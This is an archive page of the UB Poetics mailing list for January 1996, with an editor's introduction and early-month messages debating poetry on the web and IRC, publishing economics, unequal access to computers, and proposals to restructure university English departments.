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415. Alan Sondheim

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Sun 31 Dec 1995

I totally agree with Dick Higgins' assessment. I see development however not as Web/MOO/etc. sites with applications towards telephony or .wav for example but as a flux constantly mediated by corporate development on one hand and _darknet_ uses on the other. The Web is a bore; MIRC or ThePalace aren't. So it goes. But think of poetics as an emission or spew occupying/ salvaging sites. I track down apps and that's getting impossible; using them, remaining within one or another vortex/t, is foolish. I see my own wrytings appear elsewhere on the Net, often unnamed, fantastic. Irigaray has replaced Cage.

On another matter, Dick's completely right about English Departments. We've suffered long enough. And I have constant suspicions about academic professionalism in relation to poetics, except the latter as after the fact and even then how useful?

Alan

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

January 1996

469 messages · Sun 31 Dec 1995 – Wed 31 Jan 1996

The new year opens with the government reopening and the eastern seaboard buried under record snow, but the list's real weather is technological. Sometime around now the World Wide Web stops being a rumour and becomes a place a poem might actually live, and January 1996 is the month the list looks up from the page and squints, warily, at the screen.

Dick Higgins, ever first to a new medium, asks what makes a work function well on the web, and observes that *"time seems to behave differently in web poems"* than on paper — one waits for the download, reads in fits, scrolls into the dark. The threads breed accordingly: WEB POETRY, worldwide web presses, and the alarming prospect of whole language-arts departments being restructured around the thing.

Not everything, mercifully, is circuitry. The month's largest thread is older and warmer — music and poetry. Philip Hammond, new to the list, opens it by asking after poems set to music and *"music made by poets,"* and the company happily supplies its admixtures: settings and songs and all the places where the two arts have always quietly leaked into one another.

The list also catches sight of itself. Landers reports buying Paul Hoover's new Postmodern American Poetry: the Norton Anthology and noting, with pleasure, that *"some of the present company were included"* — the avant-garde bound between hard covers at last. Against that domestic satisfaction Aldon Nielsen sets a darker dispatch, a Los Angeles Sentinel report of police in riot gear breaking up a weekly urban poetry workshop in Leimert Park — a reminder that the rooms where poetry happens are not, everywhere, safe ones.

So January leaves the list on a threshold: between the page and the screen, between the anthology and the raided workshop, between poetry as inheritance and poetry as bandwidth. I have set the month's letters in order, drawn the black bars across every address and telephone, and left the list exactly where the year found it — leaning toward the future, and not yet certain it trusts the connection.

— Kristen M. Fabians

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Writers, names mentioned, and concepts. Every number links to its message. 469 in all.

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1. Joseph Zitt

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Sun 31 Dec 1995

On 31 Dec 95 at 14:54, Alan Sondheim wrote:

> *wrytings appear elsewhere on the Net, often unnamed, fantastic. Irigaray has replaced Cage.*

What is Irigaray? ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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2. Alan Sondheim

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Mon 1 Jan 1996

Luce Irigaray, French theorist/psychoanalyst/feminist theorist, who wrote Speculum of the Other Woman, This Sex Which Is Not One, and a number of other books, and has described a fluid mechanics, feminist approach to writing, feminin ecriture - check out Marine Lover of Friedrich Nietzsche (Amante Marine) ...

Alan

On Sun, 31 Dec 1995, Joseph Zitt wrote:

> *On 31 Dec 95 at 14:54, Alan Sondheim wrote:*
>
> *wrytings appear elsewhere on the Net, often unnamed, fantastic. Irigaray has replaced Cage.*
>
> *What is Irigaray?*
> *---------1---------1---------1---------1---------1---------1----------*
> *|||/ Joseph Zitt ==== [redacted] ===== Human Systems \|||*
> *||/ Organizer, SILENCE: The John Cage Mailing List \||*
> *|/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|*

(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)

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3. Chris Stroffolino

Re: Wanna date?

Mon 1 Jan 1996

Oh you POETICS people are SOOOOOOO conventional, aren't you?
It's soooo predictable that the talkers won't be talking coz
it's the "holidays" or something------
and i was just ooking for something for my hangover....
looking, ooking...
(and sorry ruminations on COMPUTERS a la Higgins are BORING BORING BORING).....
well, good luck in '96....
and love,
and peace signs made of nixons....chris

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4. Dick Higgins

Re: Wanna date?

Mon 1 Jan 1996

> *Oh you POETICS people are SOOOOOOO conventional, aren't you?*
> *It's soooo predictable that the talkers won't be talking coz*
> *it's the "holidays" or something------*
> *and i was just ooking for something for my hangover....*
> *looking, ooking...*
> *(and sorry ruminations on COMPUTERS a la Higgins are BORING BORING BORING).....*
> *well, good luck in '96....*
> *and love,*
> *and peace signs made of nixons....chris*

Dear Chris:

Please show me how my ruminations are reductive or irrelevant and I shall be delighted to think about that. If I thought they were boring, believe me I would not have raised the issue. You may well have insights which hsve escaped me. But we are here, I am sure you agree, to deal with the issues which concern us. And these issues concern me. "What man if his child ask him for bread will give him a stone?"

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]

Fax- [redacted]
e-mail- [redacted]

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5. Judy Roitman

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Mon 1 Jan 1996

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a fluid mechanics approach to writing? Wazzat?

Also, does anybody know anything about how kids learn to use pronouns correctly (=, according to some folks I guess, inventing self & other)? The short and obvious answer -- "observing" -- doesn't quite get to what I'm looking for. But maybe that's all there is to it.

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6. Landers

WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Mon 1 Jan 1996

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on Sun, 31 Dec 1995, Dick Higgins wrote:

> *one wonders what are some characteristics of works which function well on the web?*
>
> *For example, time seems to behave differently in web poems than in on-paper ones. One is impatient to download, one must read in two stages-do I like this text enough to download it, and now I can see it, do I want to keep it? I worry about the cost of being connected to my server (the economic angle), and I can only see one screen-ful at a time. How does poetic language (including visual-poetic language) function in such a context?*

It still comes back to the *editor.* If you have been browsing for a while then you know that it's just like a big library. Eventually you find certain 'zines that have a high probability of tickling your fancy. These you down- load without browsing. For instance, if I see a Robert Kelly chapbook as a supplement to RIF/T, I snag that page, no questions asked!

While it's true that the browsers can have an effect on the shape of the text (just as much as book size can,) the browsers usually offer a variety of page layouts for people who print out the pages. The limitations of fonts and font sizes have an effect, as well as the difficulties many people have with indents. Some of these will be overcome with improvements in the HTML spec.

IRC has a greater impact on the shapes of poems than web pages. The programs generally wrap lines that are long, wipe out stanza breaks (unless you

put in a period), and don't show more than 20 or so lines at a time. Newer programs allow people to scroll back or turn on logs to record the poems, but generally poetry on IRC is written in sand. The interaction with other poets is fun, however, especially if you like open readings. On the other hand, I haven't found many poets who share my views, or who know about my favorite poets.

> *If such a site can be seen in France, Thailand and Brazil, what does this do to the very concept of national literatures? Is it a form of cultural imperialism or is it a force for building the world literary community? Or both? What will all this mean to us as writers, scholars and thinking human beings?*

Well, English has taken another step towards becoming the world language. I agree that it is cultural imperialism, but there's little that can be done now to stop it, aside from pulling the plug on the whole thing. There will be a massive preservation project similar to the Gutenberg Project for all cultures. I have a friend in Italy who writes in English exclusively. I think Dante would have made the same decision. Is this a good or a bad thing? When the Italians abandoned Latin, it was a good thing, IMO.

BTW, I rejoice at the demise of any kind of nationalism.

And I think this all means that we can exchange ideas faster. That's all. How that affects us is a whole different subject (that I could talk about well into the night.)

> *Leaving aside for now the related questions of how to pay and support the publisher and writer,*

We don't have to leave this aside. I think it's a very important question. Publishing as we know it is coming to an end. Hooray! It's too expensive and too hierarchical and too full of scratch-me-back ethics. In the fiction genres, many writers are actually being paid and living off their books, but in poetry, most writers have to teach, lecture, and give readings to support themselves. And that's the successful ones! So for us (this is a poetics list, right?) it's no big loss. Our poets have the opportunity for wider exposure with little change in their means of support.

And poetry publishers operate in the red anyway. Maybe this will be a relief.

I downloaded an entire novel that is due to be printed and circulated soon. Frankly, it would cost me more to print it out than to buy the paperback. I don't like reading fiction at my computer. I'd rather sit back in an easy chair or curl up with the book in bed. I think my feeling is shared by most readers, so electronic files won't change the nature of fiction publishing until the computer interface changes.

I found a few magazines that are using the web to advertise themselves. They provide samples. I haven't been inclined to subscribe to any, but that's just a reaction based on my taste.

SUMMATION:
We're not going to lose any money by using the web.
The editor's taste will still be important.
More people will see our poetry.
The "Nation of Nothing But Poetry" is on the horizon.
(Do I have stars in my eyes or what?!)

Dick, you have been inspired by Blake's *methods* for longer than most people I know. Come back at me on the money issue. Do you foresee loss? As far as publishers and editors go, is it an exageration to say that you threw them all out years ago? Isn't the web already becoming the Anarchist's Encyclo- pedia? Is our greatest concern the FCC and AT&T and major providers like AOL that censor or limit access to the internet?

I don't have much comment on the language arts departments, except to say that they're usually about 40 or 50 years behind the times. It appears they are beginning to teach the beats, so I guess we now know who won the Anthology War. FWIW, if I were studying with poets whose work I like I wouldn't want them to tell me how to write. I'd want to read and discuss their favorite writers.

Pete Landers
[redacted]

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7. Chris Stroffolino
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

Dear Dick---I didn't mean to single you out. Sorry. I mean at least you had some reservations and were not as gung ho about a kind of techno-salvation as others....

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8. Ken Edwards
WEB POETRY
Tue 2 Jan 1996

I suppose I don't really know what "poetics" means, but it seems to me the term doesn't cover Dick Higgins' recent postings either. Personally, I don't care if the chat here ranges far and wide: announcements of new books, discussion of the

economics of publishing, jokes, arguments about information technology, even college departmental talk (though I am one of the minority here who has no connection with academia). Although the hardcore stuff - philosophical discourse about the practice of poetry itself - is often interesting, it would be unbearable if that was all there was.

On the subject of the Web, my view is: yes, it's overhyped, no, it's not about to replace publishing, yes, it's the precursor for major changes in the way information will be disseminated in the next century. Wendy Mulford and I have been having discussions here in the UK with John Cayley about putting up a Web site for Reality Street Editions, and I hope that will happen over the next year. But the fact remains that the vast majority of the current regular readers of the press's output still have no Web access. Admittedly, this is based on anecdotal evidence, and I would like to test it out with a survey of the two or three hundred UK-based individuals on our mailing list. My suspicion is that the results of the NSW Writers Centre survey reported by Mark Roberts would be replicated: ie up to 50% without even a computer of any kind, etc.

Using the net to communicate has advantages; but currently it is also expensive, difficult and inconvenient. (Which, incidentally, may be one reason this list is so academia-heavy - it's much easier if an institution is providing the wherewithal.) It will only become really significant when the technology is as cheap and transparent as the telephone itself - which will be the case one day. Meanwhile ... the problem is netheads are so gung-ho about it all ... I've just had a message from a friend who has been creating graphics on a PC without a printer. He asked me if I could try printing them out via my Mac and laser printer. Lo and behold, I get four binary files from him this morning via e-mail which my software tells me will take nearly three hours in total to download - with a message saying he thought this would be the "easiest" way to get them to me. Well, I'm always willing to do a favour for a friend, but no way. I've asked him to put a disk in the post to me. Thank god for snail mail.

Have an interesting new year, everyone!

Ken

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9. Dick Higgins

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

> *Dear Dick---I didn't mean to single you out. Sorry. I mean at least you had some reservations and were not as gung ho about a kind of techno-salvation as others....*

Dear Chris-

Techno-salvation? Yikes! Well, I know what you mean. The mystique of computers is indeed repulsive. And how much of our time is wasted looking for this piece of shareware (needed for some specific project), etc. However, I'm sure you will agree on this part, computers DO exist, the web is available to increasing numbers of people at a time when our economy has been in a decline since the oil embargo (1973), monopolistic factors have made it harder and harder for independent stores to function or take chances (art galleries too, to cite a parallel problem), so that we who crave good reading are increasingly forced to the web (or, if we are lucky, to readings). If we as poets or writers or other kinds of participants in serious literature are to be confronted with web literature, does it not behoove us to ask ourselves what kind of literature works best on the web? And why?

That isn't so much because one believes in the web as our salvation but because it is likely to be the most available medium for poetry and other non-commercial writing for the next period of time.

Near me there is a small liberal arts college; student homelessness has begun to be a problem. Tuitions have become outrageously high, and there is talk of letting even tenured faculty go. I am an outsider, not teaching nor particularly wanting to teach (at least in cultural subjects). I hear this talk from my teaching neighbors. I see it on the web on this POETICS list. Naturally I wonder if some form of reorganization could help the situation. Yet most of what I hear on the web is the trivia (at least it seems such to me) of who meets whom at the MLA-date-making-or how to save the job of a good essayist who had written concerning the LANGUAGE people but was denied tenure. That's all business as usual in a time when 40% unemployment seems the logical outcome of Gingerich and the Ginkies' policies (higher among academics, as the number of schools contracts due to the loss of a "market" for graduate students). Of course I feel sorry for our essayist, but I cannot wonder if his jobn is saved if it will solve the problem in the long term. THIS is why I asked about WEB POETRY and RESTRUCTURING together-both are responses to a crisis which I see, not to one which delights me for some sadistic reason.

Do not think, please, that the POETICS list is the only one where my questions are being raised. They are also being raised on the AVANT-GARDE bulletin board at SPOON,

<[redacted]>

It's awfully neoteric but also very very serious.

Very bests

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

↑ Index

10. Mark Roberts

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

> *I totally agree with Dick Higgins' assessment. I see development however not as Web/MOO/etc. sites with applications towards telephony or .wav for example but as a flux constantly mediated by corporate development on one hand and _darknet_ uses on the other. The Web is a bore; MIRC or ThePalace aren't. So it goes. But think of poetics as an emission or spew occupying/ salvaging sites. I track down apps and that's getting impossible; using them, remaining within one or another vortex/t, is foolish. I see my own wrytings appear elsewhere on the Net, often unnamed, fantastic. Irigaray has replaced Cage.*
>
> *On another matter, Dick's completely right about English Departments. We've suffered long enough. And I have constant suspicions about academic professionalism in relation to poetics, except the latter as after the fact and even then how useful?*
>
> *Alan*
>
> *(http://jefferson.village.virginia.edu/~spoons/internet_txt.html Images at http://www.cs.unca.edu/~davidson/pix/)*

While I agree with Dick up to a point I think it is also important to remember that a large number of writers are not yet connected to the net and many may not be for some time. I remember having a conversation about 6 months ago with the director of the NSW Writers' Centre. She claimed that a recent survey of NSWWC members suggested that only a little over 50% owned a computer - of those many had old machines ataris or 286 which ran old word processing programs and little else. Given the economic circumstances of writers (esp young or new writers) in Australia - updating computer equipment is not a high priority (many of the writers I know who are on the net are using machines that are three and four years old).

While I don't think that the fact that many writers can't afford to be on the net should prevent others from fully exploring the possibilities I do think it is

important that we acknowledge the potential for a gap to open up between writers with access to new technologies and those without.

Mark
(with his first real thought for 1996)

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11. Dick Higgins
Re: WEB POETRY
Tue 2 Jan 1996

>I suppose I don't really know what "poetics" means, but it seems to me the term
>doesn't cover Dick Higgins' recent postings either. Personally, I don't care if
>the chat here ranges far and wide: announcements of new books, discussion >of the
>economics of publishing, jokes, arguments about information technology, even
>college departmental talk (though I am one of the minority here who has no
>connection with academia). Although the hardcore stuff - philosophical >discourse
>about the practice of poetry itself - is often interesting, it would be
>unbearable if that was all there was.
>
To me POETICS is the aesthetics of the arts, the policies which govern its making and its reception.
The conditions under which the arts are made or experienced are part of the process, but the trivia of who meets who or how to save whose job (unless the entire field be challenged) are best left aside from this particular discussion.

>On the subject of the Web, my view is: yes, it's overhyped, no, it's not about
>to replace publishing, yes, it's the precursor for major changes in the way
>information will be disseminated in the next century. Wendy Mulford and I have
>been having discussions here in the UK with John Cayley about putting up a Web
>site for Reality Street Editions, and I hope that will happen over the next
>year. But the fact remains that the vast majority of the current regular >readers
>of the press's output still have no Web access. Admittedly, this is based on
>anecdotal evidence, and I would like to test it out with a survey of the two or
>three hundred UK-based individuals on our mailing list. My suspicion is >that the

>results of the NSW Writers Centre survey reported by Mark Roberts would be
>replicated: ie up to 50% without even a computer of any kind, etc.
>
Who overhypes the web? Surely not the workers in the field or those who have been on line long enough to get used to it! Most of the discussions of it which I see deal with the nuts and bolts issues of how to get access to it; they are neutral azbout whether it is or is not a good thing. Frankly, I dislike the web-but I must live with it. As for access, it will be even more accessible as web machines become more common-Sun is the only one making and selling one now, but every manufacturer has one "in the tube" (literally). Those will cost ca. US$550-an amount comparable to a video player here and presumably the same, comparably, in the UK.

> *Using the net to communicate has advantages; but currently it is also expensive,*
> *difficult and inconvenient. (Which, incidentally, may be one reason this list is*
> *so academia-heavy - it's much easier if an institution is providing the wherewithal.) It will only become really significant when the technology is as cheap and transparent as the telephone itself - which will be the case one day.*

As above.

>Meanwhile ... the problem is netheads are so gung-ho about it all ... I've just
>had a message from a friend who has been creating graphics on a PC without a
>printer. He asked me if I could try printing them out via my Mac and laser
>printer. Lo and behold, I get four binary files from him this morning via
>e-mail
>which my software tells me will take nearly three hours in total to download -
>with a message saying he thought this would be the "easiest" way to get them to
>me. Well, I'm always willing to do a favour for a friend, but no way. I've
>asked
>him to put a disk in the post to me. Thank god for snail mail.
>
I would suggest to your friend that he stop and think. Furthermore, the UK has plenty of laser porinters on hand with which he could experiment, albeit for a slight fee. If he does not experiment and have some kind of dialogue with his own production, then what he produces is bound to be lousy and boring to anyone besides himself. You are doing him no favor, I believe, if you encourage him along these lines.

> *Have an interesting new year, everyone!*
>
> *Ken*

Have a fine year!

Dick Higgins
P O Box 27
Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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12. Brian McHale

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

One reflection re: Higgins' modest proposal for literature departments. Splitting/merging current literature depts. into one History & one Skills dept. is an admirable idea in many respects, but involves one danger: that administrations will continue their current inclinations & keep the Skills component while eliminating the History, or simply letting it wither away. Currently it is the skills component in literature depts. that allows them to argue for keep ing literature in the curriculum at all; separate the skills from the lit., & the bottom-liners of universtiy administrations will scour the lit. out of there in no time. While there may be people on this list who would view the loss of literature-teaching from universities as no loss at all, I for one wd. regret it. Literature's past barely exists for our culture as it is (hell, HIS TORY period barely exists for us...); knock it completely out of the university curriculum, & before long who will even remember that there WAS a past litera- ture? Brian McHale

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13. Schuchat

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

A couple of thoughts re Dick Higgin's proposed separation of skills and history/appreciation in restructuring English departments.

the ability to analyze texts is an important skill for which our society pays highly, albeit the texts tend to be legal documents, etc. but these skills are generally dealt with in the course of reading past literature.

dick proposes the art history model, but in fact it is art history that is the more practical side; it teaches you how to recognize fakes and provenance, and has

to do with assessing value. that is not quite what literature courses in college do or teach you to do,

except insofar as there is prestige related to knowledge of literature. is there still any prestige involved with culture? I would think there is, but earning a living based on involvement with culture is not the same thing as having that prestige.

Pierre Bourdieu's DISTINCTION (trans by Richard Nice and published by Harvard) includes very interesting examination of these problems.

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14. Donald J. Byrd
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

The university's function--as Ginsberg says somewhere-- is to take care of the archive, and it is about the only thing it does well. I would say (after 25 years in academia) that the only significant address to matters of contemporary importance is a result of subversion.

And I would insist that tending the archive is a serious and important matter. To be overwhelmed by the archive, however, is a kind of decadence, and the poetry in the university *tends* to get overwhelmed. It was overwhelmed in the 50's the authority of the canon and produced the old academic poetry, and it was overwhelmed in the 70's by continental philosophy and produced the new academic poetry.

As a result, poets tend to turn anti-archive and try to do something in ignorance, which of course is always a sad and futile undertaking.

I do think the archive is badly in need of reorganization, but the last thing that needs to happen, it seems to me, is to isolate literature even more than it is now. I would rather see English combined with physics or almost any thing else than with the language departments (which in my experience tend to be among the most backward looking in the university). And rather than isolating it from rhetoric and composition, it is much more to the point to think of rhetoric and composition not as remedial skills but as concerns of organization that demand the most sophisticated attention (as we do in our graduate program at SUNY-Albany). As such rhetoric stands with poetics as disciplines in the archive.

The point is, however, that the organization of the achive will never be appropriate to poets who live on the contemporary earth (rather than in the archives). Our approach as poets to the archive must always be that there is

necessary stuff to find there, but that it is *our* job to find it and organize it in useful ways.

By and large, the institution will not be sympathetic (I have scars to prove it), but night raids on the archive are necessary to the art.

Don Byrd

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15. Jonathan A Levin

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

Dick et al,

There is much to comment on in this proposal, but I'll focus on one thing, since it strikes me as very mistaken--the division of "literature and the history of literature" from the "meat and potatoes" language skills. There are practical and intellectual reasons for resisting this kind of division. Practically, this makes it much harder to argue for the viability of the literature department. The language skills will necessarily flourish, because a badly prepared student population will require them. Literature departments, by contrast, will have no "service" to offer the university, short of the introductory survey (unless a literature seminar is required, as is the case at many small schools). I do believe these are a genuine service, but many administrators will not. But the real issue here is the relationship between literature and rhetoric. It seems to me that these are integrally related, and that to separate them institutionally is only to perpetuate bad ideas about literature and worse ideas about rhetoric. Now I'll be the first to admit that the de facto relationship they have in the current structure--separate offices at opposite ends of the same hallway--is also absurd: English departments are more likely to staff composition courses with graduate students, assign one full-time faculty member to administer the program, and get on with the business of teaching "literature" than they are to actually contemplate the relationship between rhetorical practice--the contexts of speech and writing, the techniques and determinants of successful argument-- and literary representation and expression. This is a shame. But it's a problem that won't be served by separating them as if they were two disciplines. Rhetoric has already become a sort of neglected step-child of literary studies: this only serves rotten thinking about rhetoric and literature.

jAnd poetics? Well, that's one of the things we do too in English departments. Perhaps our thinking about figurative language will benefit from an understanding of how figurative language works in a variety of rhetrorical contexts. We all know what the naked encounter with metaphor can lead to. I

don't think we'll teach poetry or poetics better if we managed to get this other business off our backs, and threw the "dead wood" into the pile we just cared less about. For me, my business is language. And I think we need to foster thinking about language that breaks down the old divisions between "ordinary langauge" and "literary language." If we don't recognize that this should take place when we teach "literature" and "basic language skills" alike, then, to my mind at least, we're missing the boat.

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16. Jim Rosenberg
MLA Doings?
Tue 2 Jan 1996

As someone who's (1) been pretty much out of academia for over 20 years and (2) never been to MLA I'd like to say (speaking only for myself) that I *do* consider discussion of MLA doings of relevance to this list, would very much appreciate it if someone can post a summary, and if certain people don't like it they can just skip those messages.

I happen to be one of those who did bypass most of the renga, but would not dream of trying to censor other people from posting theirs; I resent the recent attempts to censor this list of MLA discussions: If you don't like it, don't read the messages.

Like it or not, there are *many* members of this list attending MLA, & I find it pretty hard to believe there was nothing that happened there of general interest here.

Thanks in advance!

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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17. Jim Rosenberg
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

Dick Higgins:
> 1) On the poetics network I would have thought I would see speculations on
> the present state of literature

If you look through the poetics list archives, you'll find some discussion of electronic writing, writing futures, etc. (You *ought* to look through the archives, Dick; you'd find we're a very diverse bunch, with a lot of topic diversity the norm here.)

> *one wonders what are some characteristics of works*
> *which function well on the web?*

Much more interesting is the question of what writing done specifically for this medium will be like. The ht_lit mailing list [absurdly quiet of late] is one place where a lot of discussion on this topic has taken place; and of course there's a *huge* literature on hypertext, quite a bit of it speculating on future "e-literatures".

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

18. Jim Rosenberg
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

Dick Higgins:
> Try this: scrap all
> English and Comp Lit departments. Create two other kinds of departments in
> their place: Departments of Literature and Literary History (parallel to
> those in Art and Art History) and Departments of Language Skills (for
> linguistics, technical, journalistic, English for non-native speakers,
> basic grammars and remedial writing, etc.).

I've had similar thoughts myself for a long time, but was not thinking of university level departments so much as junior high and high school. One of the reasons the schools do such a good job of turning out people who don't like poetry is that the same pedagogical methods are applied to the survival skill aspects of "English" as to the teaching of literature, which it seems to me call for completely different methods altogether.

What *stops me cold* from openly proposing this on a serious basis is a hard cold rational analysis of what will happen in this age of budget cuts if we separate "literature" from the survival skill aspects of "English". Guess what's going to get cut?

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

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19. Aldon L. Nielsen

Re: this or that is a good book

Tue 2 Jan 1996

Now that I actually have a copy of Ed Roberson's _Voices Cast Out to Talk Us In_, let me commend it to your attention (It might even aid our concentration on poetics!*! -- I find that looking closely at instances of writing [even these posts, thank you] actually helps me to think about poetics -- and believe it or not I still buy books and read them -- even though I work in an English department)))

Roberson's book consists of a reprint of _Lucid Interval as Integral Music_, his chapbook of some years ago that very few people saw -- joined to new work under the title "The Aerialist Narratives" -- here's a sample:

Information
planted on event like dope
to jail a cause
of this effect that This

Doesn't get the connection
Meaning-set
is less than we have mind for.
Leaving stuff

not booked through state parity,
that can't be thrown
into change for correction.
Asymmetry is the already in the happen

of character to making a representation

_____ AND -- it's was great fun to meet my fellow whiners from this list in Chicago last week, where many of us did indeed on occasion pass a word or two of poetics -- Now, let's get back to that idea of posting longer items such as those papers we missed and lengthy forwarded news items so interested folk can read them --

By the way, skip the intro. by Andrew Welsh to Roberson's new book, unless you just enjoy having your intelligence insulted --

Voices Cast Out to Talk Us In
Ed Roberson
U of Iowa Press
149 pp
0-87745-510-4 $? (I got it on sale at that whiners convention in Chicago)

↑ Index

20. Dick Higgins

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

> *Dick Higgins:*
> *Try this: scrap all*
> *English and Comp Lit departments. Create two other kinds of departments in their place: Departments of Literature and Literary History (parallel to those in Art and Art History) and Departments of Language Skills (for linguistics, technical, journalistic, English for non-native speakers, basic grammars and remedial writing, etc.).*
>
> *I've had similar thoughts myself for a long time, but was not thinking of university level departments so much as junior high and high school. One of the reasons the schools do such a good job of turning out people who don't like poetry is that the same pedagogical methods are applied to the survival skill aspects of "English" as to the teaching of literature, which it seems to me call for completely different methods altogether.*
>
> *What *stops me cold* from openly proposing this on a serious basis is a hard cold rational analysis of what will happen in this age of budget cuts if we separate "literature" from the survival skill aspects of "English". Guess what's going to get cut?*
>
> *--*
> *Jim Rosenberg http://www.well.com/user/jer/*
> *CIS: 71515,124*
> *WELL: jer*
> *Internet:* [redacted]

Well sure, and as you know these are the issues which John Henry Cardinal Newman addresses in THE IDEA OF A UNIVERSITY when he addresses the Utilitarians. I say: perhaps we should let it be cut and then start again? What, if anything, would we lose?

Bests

Dick Higgins
P O Box 27

Barrytown, NY 12507
Tel- [redacted]
Fax- [redacted]
e-mail- [redacted]

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21. Chris Stroffolino

Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS

Tue 2 Jan 1996

BOYCOTT THE WEB!
Well---so far I've been able to hold out...

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22. Robert A Harrison

new chapbook/Bob Harrison

Tue 2 Jan 1996

Just thought I'd mention that I've got a new chapbook available.

To get a copy of "Split Poems" send $3 to me at:

Bob Harrison
2542 N. Bremen, #2
Milwaukee, WI 53212

Thanks.

↑ Index

23. Joe Amato

Re: new chapbook/Bob Harrison

Tue 2 Jan 1996

---

just a quick one to say that bob's book is well worth the three bucks...

happy new year!... great seeing some of you at mla, one of the few reliefs from the negative job karma...

joe

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24. Jordan Davis
vitalism?
Tue 2 Jan 1996

I thought it was something like energy
that we were reading and looking for,
and that to be prepared to pick up and follow it
was the, um, ideal we to some extent shared.
And that this energy was generated we assumed
by a syntax although recognizable decidedly
eccentric, discordant, extraordinary in the ordinary
sense of not being the way it's done, although
not so as to alienate entirely. But now I see it has to
be something of a certain shop not to be shop,
and the higgledy-dee has to go. I myself like
the calm of alternate energies. Yup. See you?

PS reading at Ichor gallery Friday at 8:30 on the dot
me Matthew Morse and Lee Ann Brown..

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25. Gary Hawkins
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

The Web, fundamentally, is quite boring. Not at all unlike television, not at all unlike the majority of Hollywood film. But what is exciting are those occasional moments of brilliance in its midst. But while the prospect of finding some (brilliant) art in the form of poetry on the Internet is the kind of thing that Dick Higgins is talking about, the Web-as-replacement-for-paperback is not a good model. The "electronic book" must be more (or different) than the paper version or else my PowerMac is a $3000 bookmark.

The big question, then, is what do we do. Sadly, this post will not hold all the answers, although I will reply to Mark Roberts and say that while his point of the low level of "connectedness" of writers (and indeed of humans in the country and on the planet) is well taken, the Internet, for all its potential to be so, is not yet the provider of poetic democracy. Which is to say, let's not intercept our chance to dream with worries that we will not be including everyone. Just as electronic mail certainly does not preclude the handwritten postcard or the penned letter, so will poetry on the Net not replace by any means a book, a reading, or a sonnet on a napkin. What it offers is a bonus

arena, not a wholly new medium since what is at stake is still language, but a different avenue, a different take on it all.

Most interesting to me in all this is the visual-hook factor as brought up by DIck. We are not, as a populous of paper-readers all that comfortable reading on screen yet. I am not sure we ever will be as comfortable. The CRT is simply not as cosy as a book in a bathtub or a bar. But while that may lead to poems without such a hook being bypassed for others, the benefit of the Internet is its potential to provide a larger number of pomes to be perused at low cost to the peruser. Now that's democracy.

The buzzword for all this seems to be "interactivity," and I think that that is where poetry will benefit on the Net. There is a chance for poems to be both performed (posted) and discussed, an interplay of artistic and critical voices that already exists between the poem and the essay, the journal and its letter page, but here might reach a level closer to simultaneity.

That is what is most interesting to me re: the Internet: conversation, dialog, whether it be a conversation of poems, or a conversation about poems.

Gary

.... Gary Hawkins
Olympia, Washington .. [redacted] "It's the
Water." .....

↑ Index

26. Jordan Davis
question rerenga
Tue 2 Jan 1996

Hi!
Just wondering if the once or twice bruited (sp?)
renga hypertext ever got started?
Now that's a movie I'd like to see at least once.
Thanks,
Jordan

↑ Index

27. Dick Higgins
Re: WEB POETRY, RESTRUCTURING LANGUAGE ARTS DEPARTMENTS
Tue 2 Jan 1996

> *A couple of thoughts re Dick Higgin's proposed separation of skills and history/appreciation in restructuring English departments.*

> *the ability to analyze texts is an important skill for which our society pays highly, albeit the texts tend to be legal documents, etc. but these skills are generally dealt with in the course of reading past literature.*
>
> *dick proposes the art history model, but in fact it is art history that is the more practical side; it teaches you how to recognize fakes and provenance, and has to do with assessing value. that is not quite what literature courses in college do or teach you to do,*
>
> *except insofar as there is prestige related to knowledge of literature. is there still any prestige involved with culture? I would think there is, but earning a living based on involvement with culture is not the same thing as having that prestige.*
>
> *Pierre Bourdieu's DISTINCTION (trans by Richard Nice and published by Harvard) includes very interesting examination of these problems.*

